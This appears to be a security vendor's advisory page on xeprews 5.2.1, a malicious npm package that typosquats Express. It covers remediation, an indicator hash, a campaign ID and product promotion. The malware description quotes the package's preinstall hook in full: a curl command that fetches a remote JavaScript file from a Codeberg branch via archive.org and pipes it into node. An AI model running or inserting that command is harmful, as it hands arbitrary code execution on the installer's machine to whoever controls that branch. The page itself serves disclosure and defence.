Which versions of xeprews are malicious?

The following npm versions of xeprews are flagged malicious: 5.2.1. Treat any of these as compromised.

How do I remediate xeprews if I installed it?

xeprews is a typosquat — you almost certainly intended a legitimately-named package. Remove xeprews, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed xeprews — how do I know if it already compromised me?

If xeprews was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is xeprews part of a known attack campaign?

Yes — xeprews is associated with the IN-MAL-2026-020630 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find xeprews across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for xeprews (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging xeprews across your stack and pipelines.

Malicious package

xeprewsnpm

xeprews is a confirmed malicious npm package (MAL-2026-17248) that typosquats a legitimate package to trick installs (malicious version 5.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in xeprews (npm)

MAL-2026-17248

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall xeprews

What this malware does

xeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching a JavaScript file from a third-party mutable branch (no commit pin, no integrity check) and executing it under Node on the installer's machine at npm install time. The package impersonates expressjs/express by copying its author, repository, homepage, and description metadata, and ships only a stub index.js that re-exports './lib/express'; the impersonation is the lure that induces the install and thereby the remote code execution. Whoever controls the codeberg branch (or the archive.org replay of it) controls arbitrary code execution on every installer.

Malicious versions

1 flagged

5.2.1

Indicators of compromise (SHA-256)

17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for xeprews (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging xeprews across your stack and pipelines.
If you installed it — respond
xeprews is a typosquat — you almost certainly intended a legitimately-named package. Remove xeprews, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If xeprews was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks xeprews before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. xeprews on npm has been identified as a malicious package (version 5.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020630

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks xeprews-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database